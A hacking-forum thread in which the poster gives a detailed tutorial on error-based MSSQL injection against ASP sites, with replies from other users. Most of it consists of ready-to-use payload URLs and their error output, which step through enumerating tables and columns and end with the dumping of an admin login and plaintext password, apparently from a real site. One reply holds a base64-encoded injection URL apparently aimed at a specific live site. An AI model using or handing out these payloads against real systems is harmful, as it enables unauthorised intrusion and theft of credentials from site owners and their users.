[Tutorial] MsSQL Injection (Realy detailed with PICS)

[Tutorial] MsSQL Injection (Realy detailed with PICS) - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: [Tutorial] MsSQL Injection (Realy detailed with PICS) (/showthread.php?tid=3189755)

[Tutorial] MsSQL Injection (Realy detailed with PICS) - uSploit - Jan 19, 2013

Tutorial: Regular and string based MsSQL Injection.

Hello, Top-Hat-Sec users.

This tutorial is purely for educational purposes! Any misuse of my tutorials is at own risk!

In this tutorial i will teach you how to do MsSQL Injection (Microsoft SQL database language). This is actually not such a difficult method, but still attention and brains are required.
MsSQL inejction is simular to error based. But easier and only for MsSQL. We get the answers in our error messages.

Things we need:
1. The hackbar (Add on for Firefox).
2. A notepad. (to write down anything we get).
3. A vulnerable site. (Which kind is shown below).

MsSQL Injection!
First of all, MsSQL or Microsoft SQL is a database management system developed by Microsoft.
Actually similar to MySQL. So you will be familiar with the query's i use to inject MsSQL.

Testing for vulnerability. (And injection method.)

There are a few ways to determine if we can use MsSQL injection on a vulnerable web application.
I will show all those below. Also watch the pictures. That way you know what i did!

The most basic way:

Code 
www.[site].com/index.asp?id=1'

When we use a single quote and execute our query, then the page results in an error. Then web application is most likely vulnerable to SQL Injection.
But when do we know we need to use MsSQL? Well if the error shows us information relating to a Microsoft SQL server.

Example error:

Code 
Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark after the ID integer '1' '.

index.asp, line 30

Spoiler (Click to View)

As you can see we get a Microsoft OLE DB SQL server error. Great we know it uses a Microsoft SQL server. There is more then one kind of Microsoft server.
MsJet and MSacces. I will be explaining those later in some other tutorial. Those are similar to MySQL version 4. Loads of guessing.

There are also a few other tests to check vulnerability:

Code 
www.[site].com/index.asp?id=1 and 1=1-- [Page loads fine]

www.[site].com/index.asp?id=1 and 1=2-- [MsSQL error]

Code 
www.[site].com/index.asp?id=1 HAVING 1=1-- [Page loads fine]

www.[site].com/index.asp?id=1 HAVING 1=2-- [MsSQL error]

The 1=1 should make the page load fine. And the 1=2 is a false positive test, this should make the page run an error.
Spoiler (Click to View)

If = does not make the page load fine at all we need to use string injection. That way our injection is inside a string and can be executed correctly.
'+and+1=1--+-
'+HAVING+1=1--+-

Spoiler (Click to View)

The page should now load fine. In my case it is MsSQL and string injection. As you can see in my pictures.
So that is the one i will be using in this tutorial as well. Lets move on since we now know we have a vulnerable to MsSQL website.

Finding database version.

Finding the database version.
As i said before MsSQL is actually not that hard to inject. The query's are easy and the statements are similar to regular MySQL injection.
That makes it easy when you have a basic understanding of SQL injection as well.

To find the version lets use the next query:

Code 
+and+1=convert(int,@@version)--

In url:

Code 
www.[site].com/index.asp?id=1'+and+1=convert(int,@@version)--+-

Error message:

Code 
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 R2 (SP2) Copyright (c) Microsoft Corporation Standard Edition Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor) ' to data type int.

index.asp, line 30

Everything between ' ' is the answer to our question (query) we ask the database. So we know it uses Microsoft SQL Server 2008. Now that we have the version lets get the database name.
You will see with a little of editing in our query we have what we want.

Spoiler (Click to View)
Now that we have the version there is some other database related information we want to extract. The database name and the user name.
When we done that we can move on to extracting tables columns and DATA.

Extracting database name.

Hint: Look at your previous query. And look at what i changed in this one.

To find the database name lets use the next query:

Code 
+and+1=convert(int,db_name())--

In url:

Code 
www.[site].com/index.asp?id=1'+and+1=convert(int,db_name())--+-

Error message:

Code 
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'DH_Helpdesk' to data type int.

index.asp, line 30

By simply changing @@verion into db_name() We ask our database what is your name?
Database responds in error message saying his database is called DH_Helpdesk.

Spoiler (Click to View)

Now thank the database for giving that info so easily! Lets get some more out of it!

Extracting database user name.

Again look at the query's not much changes here.

To find the database user name lets use the next query:

Code 
'+and+1=convert(int,user_name())--

In url:

Code 
www.[site].com/index.asp?id=1'+and+1=convert(int,user_name())--

Error message:

Code 
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'DH_HelpdeskUser' to data type int.

index.asp, line 30

By simply changing db_name() into user_name(). Database provides us with the database username as requested. Which is DH_HelpdeskUser.

Now ain't that a bitch! Lets get the table names. (I can assure you if you have a IT guy like i had its going to be a headic).
Because we use the Not in method and we need to comment out each table name at a time. I had 193 while writing this tutorial. (Not to talk about the columns in each one of them.).

Getting all table names (NOT IN Method).

Okay, so as i just told we will now be getting the table names. And will get the next in line using the not in method.
You will understand what i mean when we get there. The Query's get a little more advanced here. But i am sure you will understand.

Our first Query to get the first table from our database:

Code 
+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--

In URL:

Code 
ww.[site].com/index.asp?id=1'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--+-

Error message:

Code 
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'tblDepartement' to data type int.

index.asp, line 30

Spoiler (Click to View)

As you can see database said his first table in line is tblDepartement. But we know thats not of many use to us. Lets get the next table_name.
From on here we will use the not in method. Keep attention at what i do in the query's. Hint, do not copy paste vectors that way you wont learn!

Where it said tblDepartement in the query below is where you put you first table name!

Our Query for the second table:

Code 
+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in('tblDepartement')))--

In URL:

Code 
www.[site].com/index.asp?id=1'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in('tblDepartement')))-+--

Error message:

Code 
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'tblFAQ' to data type int.

index.asp, line 30

Spoiler (Click to View)

So we basically told the database: "Your first table is tblDepartement but we already know that." We want another one! So the database is like yeah why not here is the second in line 'tblFAQ' .

Yet we do want more tables. But how do we get a third table and then a fourth? Simple, we keep adding them in line untill the page loads fine or something else then an error occurs.

Look close at this query:

Code 
+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in('tblDepartement','tblFAQ')))--

In URL

Code 
www.[site].com/index.asp?id=1'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in('tblDepartement','tblFaq')))--+-

So i used a , and then copy pasted our table together with the ''. Now when we execute this code we should get the next table in line.

Our error message:

Code 
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'tblFAQCat' to data type int.

index.asp, line 30

Spoiler (Click to View)

If you don't have all tables. Keep adding them in our not in method. That way you will eventually get a page loading fine.
Then you know you have all tables.

That happend to me half a year later due to the lame admin creating 193 tables:
Spoiler (Click to View)

We can now finally move on to getting the column names. Still not difficult and not much changes to our precious query.
Even though enough to keep attention. The table i choose is tblUsers one of the 193...

Getting all column names.

To get the column names there are a few things that need changing in our query.

Note: tblUsers is where you put your table name you think holds interesting information.

Lets look at what we have:

Code 
+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='tblUsers'))--

In URL:

Code 
www.[site].com/index.asp?id=1'+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='tblUsers'))--+-

Now as you can see there is a lot we should set our mind to. Database gives us all we need to know but in order for him to know what to give us.. We have to give hime a path.
As in a directory see it as navigating somewhere.

What we ask the database:[.b]
We ask him to get us the first column name from database where the table name is tblUsers. Our table we choose in the previous part of my tutorial.

Error message:

Code 
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'Id' to data type int.

index.asp, line 30

Database told us Id is the first column in line.
Spoiler (Click to View)

Now to get the second column in line we are going to use that same not in method. Actually easy ain't it! I like regular MsSQL, fast results.

Note: Where it said [b]tblUsers in the query below we put our table we want to select our columns from as before.
Where it said Id is where you put the first column you got before.

Lets show our query:

Code 
+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='tblUsers'+and+column_name+not+in+('Id')))--

In URL:

Code 
www.[site].com/index.asp?id=1'+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='tblUsers'+and+column_name+not+in+('Id')))--+-

Error message:

Code 
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'UserId' to data type int.

index.asp, line 30

Spoiler (Click to View)

Database gave us the next column which is UserId. You can allready guess our next step. Lets get the third column and so on until we have all of them.
Yehh, that can be somewhat annoying if you have a large database.

Our Query:

Code 
+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='tblUsers'+and+column_name+not+in+('Id','UserId')))--

In URL:

Code 
www.[site].com/index.asp?id=1'+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='tblUsers'+and+column_name+not+in+('Id','UserId')))--+-

So again we ask the next in line. Our database likes to give us information and will do as told!

Error message:

Code 
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'FirstName' to data type int.

index.asp, line 30

Spoiler (Click to View)

Ok now we have the third column. Still nothing interesting. Keep adding columns to the not in method until the page loads fine!
As soon as it does we know we have them all! I had a lot because the lame it guy i had probably likes his job.

Spoiler (Click to View)

Now that we have all the columns i found 2 interesting ones in my entire list. FirstName and Password. As you can see we are getting close to what we want!
Lets move on to extracting DATA from these columns. So that we finally have our login.

Extraxting data from the columns.

This will be an easy query again even though keep attention. We need to guide the database to our answer.

Note: 2 things we need to edit in our query, where it said FirstName is where we put the first column we want to get info from.
Where is states tblUser is where we put our table name we got the columns from. See it as a path for a file. Without the path the database can't find the file.

Here is our query:

Code 
+and+1=convert(int,(select+top+1+FirstName+from+tblUsers))--

In URL:

Code 
www.[site].com/index.asp?id=1'+and+1=convert(int,(select+top+1+FirstName+from+tblUsers))--+-

Error message:

Code 
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'Admin' to data type int.

index.asp, line 30

Spoiler (Click to View)

Yehh, Admins usually think there epic and there logics are undeniable, we know different!
We already know his name is Admin without even looking to a memberslist owned administrator.

Lets get the password!

Here is our query:

Code 
'+and+1=convert(int,(select+top+1+Password+from+tblUsers))--

Changed FirstName to Password. And execute. So you got it!

Error message:

Code 
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'carlsten' to data type int.

index.asp, line 30

Spoiler (Click to View)

Now go to the first login page you can find! Admin Is now Full of shit.

Login: Admin
Password: carlsten

Thanks for reading my tutorial!
~ uSploit

* - hunterxxx - Jan 20, 2013

This is awesome!!! Very very helpful for newbies like me xD, great tut, thanks mate

* - uSploit - Jan 20, 2013

(Jan 20, 2013 01:18 AM)hunterxxx Wrote: This is awesome!!! Very very helpful for newbies like me xD, great tut, thanks mate

No problem glad i could help! Thats what these are for.

~ uSploit

* - Rices314 - Jan 22, 2013

Thanks for the tut, Will be giving this a go when I come across a MsSql database ^_^

* - ajkaro - Jan 23, 2013

Good job uSploit 👍

P.S.
Personally I hate M$SQL...

* - error121 - Sep 22, 2013

m trying to inject a website but...
it redirects to the home page when i try to UNION or www.[site].com/index.asp?id=1'+and+1=convert(int,@@version)--+-
it redirects to the home... any guesses??

* - elvinguitar - Dec 31, 2013

thank you very much for this tutorial. very helpful

* - Kitty - May 15, 2014

awesome tutorial, thanks a lot!! but i fear my site has no information_schema as i keep getting 404 error. ;_; what to do??

Code 
aHR0cDovL3d3dy5pY2lsb21lLmNvbS9yZWNldHRlL3JlY2V0dGUuYXNwP2lkPTEyK2FuZCsxPWNvbnZlcnQlMjhpbnQsZGJfbmFtZSUyOCUyOSUyOS0t